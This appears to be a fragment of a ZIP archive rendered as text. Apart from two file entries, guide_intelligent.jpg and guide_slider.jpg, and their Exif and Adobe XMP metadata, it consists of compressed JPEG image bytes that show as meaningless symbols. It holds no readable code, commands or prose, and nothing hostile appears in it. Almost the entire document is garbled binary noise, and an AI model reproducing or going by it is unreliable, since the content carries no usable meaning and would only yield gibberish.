j�l�C���~aQ�V��X�u�]��+:qzMP�Q�-�T/,���e0{�{gw��V2�:����P2�,g���k����E�m���pJKA����b��JZ��"<Y�-�
�b��z`��j�G�\<)��v�6�lŅ���+"�h+$��S3ݗ�e�#?�;����݃���bD
,t��?��"n��o4A��ڌ��O�O�O�O�O�O�F����'���П�)g2��'ϯ|
8;����Ig$��Y�,�rK9%���K9%���I|�|�|餻�D�+���z�fn`F=�m�Son��(f�f^ۿ�R�y��R���R�.�3R�^�]o���U]ݡn�d�WhG��
�w.AU�fg?\}2����XC��X&˖S�������?�d���� .	�o�f�y���%�
Ga�<���<�@g�_Mo����$?0tӴ����o�]�`�@ii�T�F e�+�˱�����Sk���ժ0G��%B�;VTތ���/G�<�Z�j�,Ť 3`n ���NG"��zN��j�u�P��U�Q���q6�x�0h��?�L]�R�J]�r��%�R��3r�!�2}��!�n)iVj�p��H�~�z�,�Ӓ�?��Z덡�:` }`7�}'e�
�$���EbS9����y^B*���L@ȑ΋Ѭ���KL�L�4AQ�4�ǟ��ϡ��r�

A�̽b�H����]�C���Բ��Ӥ��O9<���O9>��'��ry��"ޯ���<���O9<���O9<���O9<���_ԕnt�y�y�y�'�y�y��'�	��P�]���<��<��<��<��<��q�z��4�m�^;6�j��}��s'm�R����S'�6�$�H�z��Sm�AM��YT�ze��)
�#�Z=��X<V���Z
XR�@��*����-�#!i���ܬ3]5]�:��P|5ژ�k�*�ҵ�]�)o)���@� ��u�·H�Ma4�%��%�F���u�,R�.:g��)�&�Y��m��1&h5>�cO�3P.�9+�2v�M-�1E��s7�� ��
A�L_]
^X.TB��>e��%�hyF�r�U_/r�mA�ކOo��?�q�Ke% ��x���=r�GQo��
C?��_��^�v�*ܾۗ�l��'���3��f|��/ʿ���'�c��X���?Ҫ�]��뺿ԇ�R}s���?�q�yx7�/�ܿC[u¿��{��}��{�M����c�
_#��PK�y3\��K<K<)assets/images/guide/guide_intelligent.jpgnu�[������ExifII*��Ducky<��|http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:1DB165FD40C011E9BC57E718DD5D975E" xmpMM:InstanceID="xmp.iid:1DB165FC40C011E9BC57E718DD5D975E" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8f293aa0-7f63-0142-be49-f5fefd9ebfc1" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

��1�<I���		





���0���@P2013 ��452��3@�P��4 01`!qpAQa�������"R��1 p�`��!���1a�@PA� 0!q��Q�`�p��������w�2�p'p'����`NS bDNS bDNS bDNS bDNS bDNS bDNS bDNS bDNd�h1?O�	@"pw7@�;��$D�,�n�DvS H��"p$�r�L�1"'H��i�^vS H���iH���DvS H�ˣ���"ptpQ��"p	�� H���bDN�s�8���� %2Ĉ�1"'@Jd�8bDN����6��8N�H��"p�@G�$D��8S ͠
SH��"p�@��$D�	L�1"'H���bDN�� %2Ĉ�1"'@Jd�8bDN���"pĈ�)�$D��8S H�� ٕ�H��3�
�_F,�����р.�8�e�`˨��Ct֋$Yu�V��=����z�e�gZ��wԻR�
X�x�7V]Fp����}K�*0Ջ'�Cue�gZ��wԻR�
X�x�7V]Fp����}K�*0Ջ'�Cue�gZ��wԻR�
X�x�7V]Fp����}K�*0Ջ'�Cue�gZ��wԻR�
X�x�7V]Fp����}K�*0Ջ'�Cue�gԏ�?��R*�@�Y3������(�O��˨���.�qd�͝��Rz����	�]FpՋ'�Cue�g�t}��@���}K�*0�d�(n�����O��˨��������.Ԩ�jœġ���3��Y<J�.�8��Y#����R�J��Y<J�.�9ۋ$q%Fjœġ���3�n�i͝�n��jT`5b��P�Yu�n�i��s`
X�x�7V]Fp��m �����R�J��Y<J�.�8���G��K���Y<J�.�8����v�FV,�%
՗Q��Uew��R-+i��5b��P�Yu�����}K�*0�d�(n�����O��˨��e�}��]�Q�Ջ'�Cue�g
X�x�7V]Fpk/���R�J�/��X��ʑ�A���d�(n�����O��˨��e�}��]�Q����W��aK��
X�x�7V]FpՋ'�Cue�gV��>�.Ԩ�M�Տ�*G�?_ jœġ���3��Y<J�.�8����v�FV,�%
՗Q�5b��P�Yu�����}K�*0�d�(n�����O��˨��e�}��]�Q�Ջ'�Cue�g
X�x�7V]Fpk/���R�J��Y<J�.�8jœġ���3�+Y}n��jT`5b��P�Yu�V,�%
՗Q�Z��wԻR��O��˨��d�(n����
�_G۾�ڕ
X�x�7V]FpՋ'�Cue�gV��>�.Ԩ�jœġ���3��Y<J����/iH�D�&�4��M"iH�D�&�4��M"iH�D�&�4��M"iH�D�&�4��M"iH�D�&�4��M"iH�D�&�4��M"iH�D�&�4��M"iH�D�?��bkX���&�5��MbkX��<����~O�?'���~O�?'��L��Q�C�
=�(v�G�e�(�̡�ٔ;`��2�l{fP킏l
)�Zl�K:���,�K:���,�K:���,�K:���,�K:���,�MbkX���&�5��Mbk�MbkX�#�G�[
��?'���~O�?'���?��hv�Ƕ=�(�y	��/*Kʒ򤼩/*Kʒ򤼩/*Kʒ򤼩/*Kʒ򤼩/*Kʒ򤼩��n�{`#�ƜiƜiƜiƜiƜiƜiƜiƜiƜo�;t���Τ��,�K:�Τ��,�K:�Τ���ǶQ�8��G�Q�8��6ˎu%�IgRYԎ2�x��!ۧ�O[��_x��!ۧ���!ۧ���!�⚙��gLY�tŝ1gLT�2�~#��D;|���8Ӎ8�������!��RyR^T��"֥��=��C�N=��C�N=��C�N=��C�N=��C�N=��C�N=��C�N=��C�N=��_�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�{�p�p�p�p�p�p�p�p�p�p�p�p�x�7�e�fY�e�fY�e�fY�e�fY�e��7��?�Q�̩�8*�eO�Txs*
�ÙS�pUʟÂ���T�G�2���<8}]s����}��3��g��ٜ/�8_fp���}��3��g��ٜ/�8_fp���}��3��g�ˇ��������������������������
���a����̳,�2̳,�2̳,�)��Txp>��3
O���xp>ҹ���fs^�潙�{3��g5��kٜ׳9�fs^�潙�{3��g5��kٜ׳9�fs^�潙�{3����G�Q��444444444444444445�O���x~8_fp���}��3��g��ٜ/�8_fp���Q��)�=:��ÔS�zu�5MI�3��g��ٕ4U4�z�QO���x~�������xr�N�À�����G�Q��)�?��нC�Å����/�=���f��À�����*k������kj����ÔS�~Yy�\潙�{3��c�8�5G�(����<8
�QO���xp���Ө��*<9E?��Q�Txr�N�À�����G�Q��)�=:��ÔS�zuG�����:J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$���J�*$����l��NQ9D��NQ9D��NQ9Y��űl[űl[űl[űl[Ű�t�d���s&v�ۙ3���ɝ�'��L�=�2gn	�;pOm̙ۂ{n.�䓒NI9$䓒NI9$䓒NI9$䓒NI9$䓒NI9$䓔NQ9D��NQ9D��NW��	�'(���p/n�!�al[űl[űl[�����^݆goM���b�bII%$��RII%$��RII%$��RII%$��RII%$��RIO�;zom�=�r\�%�r\�%�r\�%�r\�%�r\�3���߉�'$��rI�'$��rI�''�ܡ��7��۔3���ߢ��NI9$�\#�{nP�ޛ�~�?Zo��r�v��ۀ{nP�ޛ�pm���몂�(��r��'(i�E_m�=�(go�դ.K��B����pm���jII%$����G��۔3�����r�v��ۀ{nP�ޛ�pm���{n�C;zom�=�(goM����齷�ܡ��7�������:jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&���jI�&����l���JI)$���JI)$���JI)9��7�p\�p\�p\�p\����d��[�'w`�ݙ;������&�fN�5�2wv	�ٓ��Mn̝݂kv
�$��JQ)D��JQ)D��JQ)D��JQ)D��JQ)D��JI)$���JI)$���JO�[�II%$��[�-m�)�#p\�p\�p\^�8�`ZۆwwM���``�`MQ5D�TMQ5D�TMQ5D�TMQ5D�TMQ5D�TMWû�mn�5�n[��n[��n[��n[��n[�;����J%(��R�J%(��R�J%+�����6�`ݔ;����Q��JQ)D�
Da�kvP��[���Z��[��wt�݀kvP��[�
n����p�%$��RII%$q�B
n�5�(ww��m�r�Zt��[�
n����MQ5D���F�`ݔ;����[��wt�݀kvP��[�
n���kv��C��mn�5�(wwM���e�鵻����6�`���?���UUUUUUUUU�'򪪪����DDDDDDDDM����@���l�#<F���?����?��.$�8G�2p8�N'���d�2p8�N'���d�2p8�N'
���������•e|����@|�>P(����@|�>P(����@|��nKyr[˒�\��䷗%��-��o.Kyr[˒�\��䷗%��-��o.Kyr[�,�N'���d�2p8�N@��yz��N'��8e���=O��z��?J�����2q8��FN#'JJr�>o�0Fyg��%��-��o"�����?�|�>P(J��?���F�4hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣF�4hѣF��\8p�Ç8p�qe�������������������qg��N
[M85m4�մӃV�N
[M85m4�մӃV
^�O�
�iԳRu,ԝK5'R�IԳRu,ԝK5'R�IԳRu,ԝK5'R�IԳRu,ԝK5'R�IԳRu,ԝK5'R�IԳRu8p�Ç;ٔ#�8vX.�����,�!�!�!�!�!�"*��,
�]��ç�VX(t�]N'�'B�)нJt/R�ԧB�)нJt/R�ԧB�)нJt/R�ԧB�)нJt/R�ԧB�)нJt/R�ԧB�)�؟1Xa��9��c����(�;�9��c����(�;�9��c����(�;�9��c����(�;�9��ob|�{lԝK5'R�IԳRu,ԝK5'R�IԳRu,ԝK5'_
�J|�`U�S�+¯�#���C��Y�:�jN����f��'����o��xղS�+�G�/����|j�)��V�O��
�J}�>�W�ĵg�sW�G�,ԭK5+R�JԳR�,ԭN�W���Zr�9�����U�V�O�.,�������qG1�Q�/���×�zz�?�*�)�C�ҏ
���)нJt/R��z��Z�c�V[%>b�*�)��V�O��
�J|�`U�S�+���1Xl�����d��V^��?!�]�UUUUUUUUUUUUUUUUUIF#�w��;�p�øw��;�p�øw�#�UUUT��%�%�U\\\\\\\\\\\\\\\\\\\\\�UUR)2Z�a�4�Gp�øw��;�p��aH�#�U��f�$>��2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�2��z����������ˀˀˀˀˀˀˀˀˀ˟�Z���L�>�\\\\vI�e�?�Z�����V(��E\\\\\:
M	�����$d���}<$��5��RM�}5XXX
5K)t���UUUUUQ��*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����*\�pb����"X�`b%���"X�`b%���"X�`b%����<!X}�{{{{{{{{{{{{{{{{{{Vy��\GL��
��f����3x�h陼u��t��:��:fopm37��6��.��ӣ��T,�
QEQEQEQEQE��"X�`b%���"X�`b%���"[��$�`b%����4t�b��a�	�	�	�	�	�	�	�	�	�	�	�<!X}�Z:e1<u�4t��t�u����W��f�x��(��(��(��(��(�:�:`Z:e9���������y�01EQEQD��)x��h�h锼u�4t��P�>�b�(��z�Df_�6��K�^cGLcGL��1����R�ט����)x���z0A:"I�QE���E�I/�GLGL����H��fxq�P$���4t��t�^:�u���,"�^���E]?+��$�A$�
0-2���Ǝ���K�^cGLGL��1����R�ט����)x��h�h锼u�4t��t�^:�:`Z:e/y�0->?��?!�؝M�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�SaM�6�So�mv�Wa]�v�Wa]�v�Wa]�ɰ�����$?A!�	�H~�C������$?A!�	�H~�C����fg,냞u��psι���y�3�u��:�rθ9�\�Y�<��:��s9g\�	b
�Ew�Wq]�w�Wq]�w�Wq]�w�Wq]�w�Wq]�w�Wa]�v�Wa]�v�Wo��"��Wa]�θ)�L<�	�H~�C������$?A!�	�H~�C�M��\�Yי<끞u�,ES��⛊n)��⛊n)��⛊n)��⛊n)��⛊n)���μ��\�����$#�	�H�G�?�����$#�	�H�G�?�����ij�2y�滊�+��⻊�+��⻊��<��:�'�p3ιL��2y׈U�Wq]�w�
y�)�u�O:��p����:�2μ��\�S,�̞u��:�2ο*E�+��»
�+�@"�O��\�S,��BG�?����$�y�)�u�MY
n)���4A%�<끞u�e�y�θ�\�Yי<끞u�e�y�θ�\�Yי<끞u�e�y�θ�\�Yי<끞u�e�y�θ�\�Yי<끞u���?!�؝Y�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�VqY�g�V�m'�RqI�'�RqI�'�RqI�Εٸ��vn;7����f�qٸ��vn;7����f�qٸ��t�fs��9GL�q�(��:`�39�L��g8郔t��0r����Q�3�t��:`����RaI�&�RaI�&�RaI�&�RaI�&�RaI�&�RaI�'�RqI�'�RqI�'�Z��QI�'�(邔u����f�qٸ��vn;7����f�qҡ��t�J:��9���GLTz
�+0�³
�+0�³
�+0�³
�+0�³
�+0�³
��8�̔t��:a����vûaݰ��wl;���vûaݰ��wl;��|N:s%>i0�“
L)0�“
L)0��2��L�2Q�(��:s%8d"�
L)0��c�(��:s%8ux���Q�)�t�J:`e2��Nd��Q�)�t�B��QI�'�RqI•Q:��:`e2��N�;���B�t��:e3���)1Y�f�.���%02��L�2Q�(��:s%02��L�2Q�(��:s%02��L�2Q�(��:s%02��L�2Q�(��:s%02������m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��I$�I$�I$�I$�I$�I$�I$�I&�m��I$�I$�I$�I$�I$�I$�I$�I��m��I$�I$�I$�I$�I$�I$�I$�m��m$�I$�I$�I$�I$�I$�I$�I$�m��I$�I$�I$�I$�I$�I$�I$�I&�m��I$�I$�I$�I$�I$�I$�m��m��m4�I$�I$�I$�I$�I$�I&�I$�I$�M$�I$�I$�I$�I$�I$�I��I$�I$�I$�I$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I4�I$�I$�I$�I$�I$�I&�I$�I$�M$�I$�I$�I$�I$�I$�I��I$�I$�I$�I$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I4�I$�I&$�I&�I$�I$�M$�I$�I�m��m��m���m��I$�I$�I$�I$�~�m��m��jI$�I&�I$�I$�I$�I$��I$�I��I$�I4�I$�I$�[m��m�ۤ�I$�i�M$�I$�I$���m��m�$�I$�v�m�$�I$�I$�I'm��m��jI$�I&�`BI$�I$�I$�I$�I$�I&�I$�I���̒I4�I$�I$�I$�I$�I��I$�i$�I$�M$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I���&�I$�I$�I$�I$�I$�I$�I&�Lm�I��I$�I4�I$�I$�I$�I$�I���i$�I$�M$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I$�I$�I&�I$�I��I$�I4�I$�I$�I$�I$�I��I$�i$�I$�M$�I$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I$�I$�I&�I$�I��I$�I4�I$�I$�I$�I$�I��I$�i$�I$�M��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m�������������������������m�ԒI$�I$�I$�I$�I$�I$�I$���m�$�I$�I$�I$�I$�I$�I$�I$���mI$�I$�I$�I$�I$�I$�I$�I+m��RI$�I$�I$�I$�I$�I$������m�ԒI$�I$�I$�I$�I$�I*?������$�I$�I$�I$�I$�I$�J�I$�I$�I$�I$�I$�I$�I$�I$��$�I$�I-RI$�I$�I$�I$�I$�I$�I$�I$�KT�I$�I$�I$�I$�I$�I+�I$�I$��$�I$�I$�I$�I$�I$�J�I$�I$�I$�I$�I$�I$�I$�I$��$�I$�I-RI$�I$�I$�I$�I$�I$�I$�I$�KT�I$�I$�I$�I$�I$�I+�I$�I$��$�I$�K�$�I$�I$�����I$�I$�I$�I$�RI$�I$�I(������I$�I-RI$�I$��I$�I$�K�I$�Z��I$�KT�I$�I/$�I$�I$��I$��$�I$��$�I$�I$�I$�I$��$�I%��I$�$�I$�I$�I)$�I$�I.I$�Ij��I$I-RI$�I$�JI$�I$�K�I$�Z���T�KT�I$�I$�I$�I$�J�I$��%$�$��$�I$�I$�I$�I$��$�I%�I$�I$�I$�I$�I$�I$�I$�I$�Ij�I$�I-RI$�I$�I$�I$�I+�	$�Z��I$�KT�I$�I$�I$�I$�J�IT��$�I$��$�I$�I$�I$�I$��%$�%�I$�I$�I$�I$�I$�I$�I$�I$�Ij�I$�I-RI$�I$�I$�I$�I+�I$�Z��I$�KT�I$�I$�I$�I$�J�I$��$�I$��$�I$�I$�I$�I$��$�I%�I$�I$�I$�I$�I$�I$�I$�I$�Ij�I$�I-RI$�I$�I$�I$�I+�I$�Z��I$�KT�I$�I$�I$�I$�J�I$��$�I$��$�I$�I$�I$�I$��$�I%�I$�I$���?��P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�P�
�Sd6ASd6ASd6ASd6ASd6ASd6L�Ѝ�
h@��4�
h@��4�
�B���/����9_3��r<�g���y|����9�3���s<>g#���x|�G����.��>D���0��q�q�q�q�q��M�T�M�T�M�T�M�T�M���M�T�M�3��1�:�4�
h@��4�
�B��)�G��L����ȕ]TY�8�8�8�8�8�9_�3��fx|�G��L��8�8���_�3��fx|�G��L�?�E��}�1��E��3}s<>S#��&x|
$����ɞ3��2<�2g����L�/�^@: �N(�8���ȇEK�3��fx|�G���d��"o2Gs�g����L�/���i
��T��G}?릑@��I'�����_�3��fx|�G��L��)��<>g��dy~d�����_�3��fx|�G��L��)��<>g��dy~d�����{m��m��m��m��m��m��m��m��m��m��m���m��m��m��m��m��m��m��o�f� �����DDDDDDDD}{4�M�B�m��m��m��m���
�H���2�����������������m��m�ۭ��Eb�Uf���m��~�xASA�̈������f�b����S��m�f W�DT^�������������������ۻ��������m�����������m��gu�����Vw^���]�ۻm��m���J� �tN/�����D�"*'T���=��zg��Əo����m�����TN������}% ��#��m��m��m��m��m��m���?��z�T�_�<?�a+p%n�����V�J�	[�+p%n�����V�J�	[�+p%n�����V�J�	[�+p%n�����V�J�	[�+p%n�����V�J�	[�+p%n�����V�J�	[�+p%n�����V�J�	[�+p%n�����JX	K)`%,�����R�JX	K)`%,�!�Ǥ+��t�a���v
�37.��ff��6,�ܻř��`س3r�fn]�b��˰lY�Y�"�`jX
K�`5,��԰�R�jX
K�`5,��԰�R�jX
K�`5,�����R�JX	K)`%,�����|#��D�%,����Ř&���1�HV|���a��>�,Y�j�;�s�Ř%�r����ո�V�j�
[��p5n��ո�V�j�
[��p5n��ո�V�j�����,��fS���,�5,��԰�R�jX
K�`5,��,Y��w1�0,Y��w1�8a�B2���R�jX
K~(�}��fR���,��1fR���,��fR���,��fR��0"'�P�R�jX
K�`��Q�>��,Y�b̥˸#�F����O0�b�e.]��N*��ո��pG`X�)r�c`X�)r�c`X�)r�c`X�)r�c`X�)r�c`X�)r�c`X�)r�c`X�)r�c`X���?��
"""""""""""""""""""""9��_���b""""""""""""""""#������������"""?���?��""""!�DD�@@C�����rXK�`9,%�����rXK�`9,%�����rXK�`9,%�����rXK�`9,%�����rXK�`9,%�����rXK�`9,%�����rXK�`9,%�����rXK?��-�����r�[��p9n-������1օi�_@_@_@_@_@_@_@_@_@_@_@_@_@_@_@_@_@_A�F���f٘7���3�ٛf`�;3l��fm��|�ͳ0o���f
�6��v	����p9n-�����r�[��p9n-�����r�[��p9n-�����r�[��p9n-�����r��UV������`�;�B���/�/�/�/�/�/�/�/�/�/�/��t�ZG���'�ög1�/��F@"�`rXK�`9,%�����rXK�`9,%�����rXK�`9,%�
��|��a��������������������ٜ��9n-�����r�[��p9n-�/���g1�/���g1�b���9n-���0�o���Kfs;��<'x�|쥳9���|쥳9���|쥳>c�Tu_��9n-������!���~_;��Kfp@#�m``a�0�x;��Kfp ��`9,%�@�U�����[3�����[3�����[3�����[3�����[3�����[3�����[3�����[3������PK�y3\�g����$assets/images/guide/guide_slider.jpgnu�[������ExifII*��DuckyP��|http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:37A896C32F2C11E99859C4FACCCFBCA7" xmpMM:InstanceID="xmp.iid:37A896C22F2C11E99859C4FACCCFBCA7" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c5e92742-fd40-41b3-baed-06f1b630b46d" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

�I�����		

				
	
��@��� 0@pP��4!1AQ�ђ�3��50"2��� a�R#@p��qBrP$bT1A�2� 0Q@Pp�!a"q���!�1AQa��0q� �@Pp������������;���#��L��Ҙ�d�@Uk���v��p-�G674z�1�YnX�9����r36�rs7��)�gߜ�>������Nh�Z��_M��ô�Ȱ4��)�:�8{r[2k�lzs�zp���
��5�աhp�zy�\=���9E� �!Z�!Z���������O<5D+[D+@�ظ�ؠоk�bW��r��fhs(䖤�ǃ��]��_C�C<�>�v~����G�߭��������{�U�$��r�W7���^cK�iy�/1��4�Ɨ���^cK�iy�&��ϔ}�RậU�d�VJ�"��艏E��21�F<�Ǚ�#dčy��2%��a�l���z��}�2�2FB��Y#!dd,�����2D��/�e�������k��
(���k��γ��j��3r��R|����q�;�޴:��C��:��C��:��C��9��&%�˾E�#4��\��L׌��3^2f�d�xɚ�5�&k�L׌��3^2f�d�x��%�Jyq�a$Q��w��m��B�+T}C�2�:��C�a��:��C�a��:��q�����֔���~�!��@�v4!�ЇcB�v4!�ЇcB�r�F��[/���n:j�G�n�ӧ��+��s�j�>����������u��7
�/�����W�i�B�]�t.�кB�]����b�R�-�ʵ�|�JQ�XجlV6+����cb��XجlV6+�)T�NuR�RWE4�]
Ѳ�����jD��\�.j5���B�sP��2sRޗ*��o�4����bءlP�([-��b��BؠɵH�ˮJ�j�M*�y�R�SN�����&��/���%U++��_����������[al-�����[`���bIj��>�|�+Ju�R7�ԍ�F�#z��HޤoR7�ԍ�F�!괩_�}�E�=|[T�qE硣zV-ɖ��re�2ܙnL�&[�-Ɏ�ҏ��T������8��qL��\S.)�ˊe�2���+~ˢ>�i��i�k�M�V������o��$~T-�R��K_��?�ތjcS��Ʀ51��LjcS��Ƥa͊�ᷨ�
��
��
��
��
��
���׎��4"�0R���A�dA�dAcɳc�z@tA�tA�t>%��E�z���|��;����nH$׼���?�ށ��eC*PʆT2���eC*P�6Y����q�q�q�#�������e�%bL�2dɓ&LHro���$ɓ&L�2dć�q�l�n�t�����W/?�~���V=��?�*J(IN}��}���W5~&�j�M\�����5sW�j����_����W5~&�j�M\�����1R������]�7�PI �F�|X����!��WDo{gQs�AHJ�/�Y�V{��՞��5g�|MY�V{��՞��5g�|MY�V{��՞��5g�|MY�D (��,�o�jJ�k�?Bg�y���q���i	d��N၉9(p��Қ펅zS�P����
��-����[	s[H�涑l%�m"�K��E��5��a.ki�\��-�����jX���x�Byɳ�K�:;�5��R�I��zR�԰��>���ѭ��ͣ[s�F��6�l�m���5�9�k`.sh�\�ѭ��̅NZ(���]xF��X(u�#�	��E�\��ha������]��މ�\���ha���Bp��$:��7~�����/s����6�
��)T��6c�ڵm�pJ�Lb�+4Ժ�YG
WB#c�7
���[��$�1J�D_��צ�[�zo5�צ�[�zo5�צ�[�zo5�צ�[�zo5�צ�[�zo5�צ�[�zo5�צ�Y)=�{�@��f1\���#�l���H_�̇�iay3�q_�s�(:�����^�ʙ2��' ��y���l��Z���jV�ne�[1���l��Z���jV�ne�[1���l��Z���jV�ne�[1���l�Bc��N�%J��	���]����p�����F��o�`�G~_�����NIhi�p����/�H�&����q���<rV|�S��t�&����⫧�QQЉC��M�j{-=�V���ٵj{-=�V���ٵj{-=�V���ٵj{-=�V���ٵj{-=�p��U���i)��؁΄�����\���v��UK`W~^��	<����z~!�$���{���3Ug��5V{!=�Ug��5V{!=�Ug��5V{!=�Ug��5V{!=�Ug��7��]=Җ��
��Lo��,�N�UuK%��kv�3�`c�S�h�QQ���m;�o�����ܶC�5��8zI��u(����F�G��8��(�y��|=�3�����<�΄�K�e��4F����,n4D�0.E�Ho$�@r[�C���R�_��T�K�tL^4t�0�u�H/*��2�^-�痝����2BJ#�P�`���O��?!�"�x���3333333
�h.�}�jH�/�{D���>�T t���AAA� ��Z�.�Ϻ�h)��NHi��|�(�Pj��„tun ;���8p�Ú�����)w�qd��8��n!+���8p�Ú7��
�&h���J�+�y���ynbzU^�A���f4_�����aJ�>�P�G�G�{(dh{'A�J�V�� 8}���Q�o���������|��+&��p�:�q"�ȅX���N1t6�í�}��}��}�����n��8z�J�@�i�0~��w�
X��� z����A�.`�����] �Ç8p��)|�7��*4%��Հ&��.g�~�� �8p�Ç�qK���cm��f�C\��jT�dE|1�›B�⭿utC4|x�!R!C�#��T����~ ��j�sBP1��a�A3��?!���ժ�ϾR�	o���[�-�K|%��	o���[�-�Ug�l��c�s ��>j�s��t�;���-N�jwKS�Z���t�;���-N�jwC�#W���:�rZ����C���(�~[�:4\Uߢ�g,�yd;�!�Y��w�C����,�yE�ڽN]�Z�o�T^o9�긣�U��Y��v�C�����,�id;K!�Yҫ���z���v��q�mW��q��)n;�><D�3��2p#��`��{55���ߨ0
���3��?!�#q�q�q�b�(��(��(����q�q�p|I�(��(���o�k�eê<��X�,r�9K��R�)c���X�,r�9K��QC�<�˫o�(ȿV^�!�e-��[���in����;Kpv���-��[���in����s��R+��_�������XO Ytk���W�)�����kxm5�6��Mo
����[�i�ᴮf��l�&�M,I�f�p˯L�U�>��/
旆�K�y�����ixo4�7�^�/
�34w��-��-�`^R���p^P����5�ɴ7t�~�4mя{�����$0�	'������������������������������������������������������������������������������������������������������������������I$�I$_�������[m��m���/�C�����m���������[m�����������������������������������������������������������������������������*�������������G�������������������I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�pI$�I(I"I$�I $�^$�	$�o�����I2I$�I7����I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�aG�I$�I$�I$�I>8I$�I$�I$�I$�I$�I$�I��?�"��!��k��������!T�=\@	��L�^M#׽�6$@�B*�����16{�����8�8�8�W�fl�	iz�T�9$�gL���Y�􅖌���MA ���	B�0b�Cx�T��.�2dɓ&L�=�qR6�%�t
	h�5`	��S�����u���Hh��&L�2dɓ�7!3k��P��	��D&���f!���?��J�M/��rQE��� � �	AR1R���?i(jYs�K/��?M,N�j0�>�[�<B��V""""""74?lX�Q��:�y���I�
����/X��@��e){#�a�a�a�f �*�k	[�>���&n����0���X
R�`��?9Ԉ$M��0�d��V���K��E�bŋ,X�c�����.	U�;��H��0�J+c8��\i:�Z}<B��E�,X�bŎ���K�'U�e�jGo�W�A�Dx!=ʐ'!���A��
�/�krr�N���1*e�Y�Q���ǩ��9�0,4np�+D$ւK��S�@���{��k@"��r�:��ZUM~g��?�"(��(��(��(GX��q�q�q�p�Ǭ�@�(��(���q�q�p��k�/��=���(�mx:�333333����	����K!j^`Ai�G�l��@�0(�P����<��<��<����D^�㮳-}?F�0
v_����#��T���p����D�p7�X}
��!9	f'&<Lx��1�c�lj��!��:%�C�$K���`]l����B[�#!,��c�Ǚ�3f<�y��1�cR[�'1��Գ�NE���E��8+\����jki��;��2�c�\��R
�*�u��p� !�Ս�N��rS���w��%��W�8�qIJ�H����?�"%u����hѣF�4hѣF��g�DQ�F�4hѡ>�0�4hѣF����+tT�?j�A�,�XUUUUUU\`��"BO����3j�!��A��.��f��D՘	���,��,��,���h��7�ϼ��O�D��8���o�T�
